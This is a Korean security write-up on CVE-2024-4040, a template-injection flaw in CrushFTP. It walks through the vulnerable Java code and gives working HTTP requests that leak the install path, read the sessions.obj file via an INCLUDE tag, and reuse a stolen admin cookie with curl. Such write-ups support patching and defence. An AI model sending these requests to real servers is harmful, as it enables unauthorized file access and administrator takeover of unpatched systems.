[하루한줄] CVE-2024-4040: CrushFTP의 SSTI로 인한 LFI 취약점

URL

Target

  • All legacy CrushFTP 9 installations
  • CrushFTP 10.0 before 10.7.1
  • CrushFTP 11.0 before 11.1.0

Explain

CVE-2024-4040은 CrushFTP는 SSTI(Server Side Template Injection) 취약점으로 파일 읽어 관리자 세션을 탈취할 수 있는 취약점입니다.

CrushFTP API에 요청을 보낼 때 인자에 {hostname} 같은 값을 넣어 보내면 템플링 엔진이 해당 값을 실제 값으로 바꾸는 작업을 진행하게 됩니다.

   public static String change_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
        try {
            if (in_str.indexOf(37) < 0 && in_str.indexOf(123) < 0 && in_str.indexOf(125) < 0 && in_str.indexOf(60) < 0) {
                return in_str;
            }
            String r1 = "%"; // Search for percent symbol delimiters, called r1 and r2
            String r2 = "%";
            while (r < 2) {
                String user_key2;
                String user_key;
                String key;
                int loc;
                String key2;
[..] // A large number of possible dynamic values, such as “hostname” and “heap_dump”, can be templated
                if (in_str.indexOf(String.valueOf(r1) + "hostname" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "hostname" + r2, hostname);
                }
                if (in_str.indexOf(String.valueOf(r1) + "server_time_date" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "server_time_date" + r2, new Date().toString());
                }
                if (in_str.indexOf(String.valueOf(r1) + "login_number" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "login_number" + r2, ServerStatus.uSG(user_info, "user_number"));
                }
[..] // Though many options are possible, we’ll jump ahead to the most promising choices for exploitation
                if (in_str.indexOf(String.valueOf(r1) + "ban" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "ban" + r2, "");
                    thisObj.ban(user_info, 0, "msg variable");
                }
                if (in_str.indexOf(String.valueOf(r1) + "kick" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "kick" + r2, "");
                    thisObj.passive_kick(user_info);
                }
                if (in_str.indexOf("<SPACE>") >= 0) {
                    in_str = Common.space_encode(in_str);
                }
                if (in_str.indexOf("<FREESPACE>") >= 0) {
                    in_str = Common.free_space(in_str);
                }
                if (in_str.indexOf("<URL>") >= 0) {
                    in_str = Common.url_encoder(in_str);
                }
                if (in_str.indexOf("<REVERSE_IP>") >= 0) {
                    in_str = Common.reverse_ip(in_str);
                }
                if (in_str.indexOf("<SOUND>") >= 0) {
                    in_str = ServerStatus.thisObj.common_code.play_sound(in_str);
                }
                if (in_str.indexOf("<LIST>") >= 0) {
                    in_str = thisObj.get_dir_list(in_str, the_session);
                }
                if (in_str.indexOf("<INCLUDE>") >= 0) {
                    in_str = thisObj.do_include_file_command(in_str);
                }
                r1 = "{"; // In addition to percent signs, the application also searches for curly brackets
                r2 = "}";
                ++r;
            }

이와 같이 위 코드 마지막에 있는 를 활용하면 do_include_file_command 메소드를 통해 파일을 읽어올 수 있습니다.

public String do_include_file_command(String in_str) {
    try {
        String file_name = in_str.substring(in_str.indexOf("<INCLUDE>") + 9, in_str.indexOf("</INCLUDE>"));
        RandomAccessFile includer = new RandomAccessFile(new File_S(file_name), "r");
        byte[] temp_array = new byte[(int)includer.length()];
        includer.read(temp_array);
        includer.close();
        String include_data = String.valueOf(new String(temp_array)) + this.CRLF;
        return Common.replace_str(in_str, "<INCLUDE>" + file_name + "</INCLUDE>", include_data);
    }
    catch (Exception exception) {
        return in_str;
    }
}

따라서 먼저 현재 CrushFTP의 세션 파일을 읽어온 다음, 관리자 세션으로 재접속하면 관리자 권한을 획득할 수 있습니다. 그렇다면 먼저 세션 파일을 읽어와야 하는데, 세션 파일은 CrushFTP가 설치된 폴더에 저장됩니다. {working_dir}을 활용하면 설치 경로를 읽어올 수 있습니다.

POST /WebInterface/function/?command=zip&c2f=vndQ&path={working_dir}&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 22:24:46 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 241

<?xml version="1.0" encoding="UTF-8"?> 

<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:/home/researcher/CrushFTP/CrushFTP10/
</response></commandResult>

이제 아래와 같은 요청을 보내 세션 파일을 읽어올 수 있습니다.

POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

반환된 응답에서 세션에서 관리자 세션을 찾아 아래와 같이 명령어를 실행해보면 정상적으로 관리자 권한을 획득한 것을 확인할 수 있습니다.

$ curl 'https://crushftp/WebInterface/function/?command=getUsername&c2f=3dnZ' -H 'Cookie: CrushAuth=1713879298772_dZZeNbE2b7i6bAmGqqjXottYBG3dnZ; currentAuth=3dnZ' -k
<?xml version="1.0" encoding="UTF-8"?> 
<loginResult><response>success</response><username>crushadmin</username></loginResult>

해당 취약점은 CVSS 9.8점을 받았으며 현재 실제 공격에 사용하고 있다고 합니다.

Reference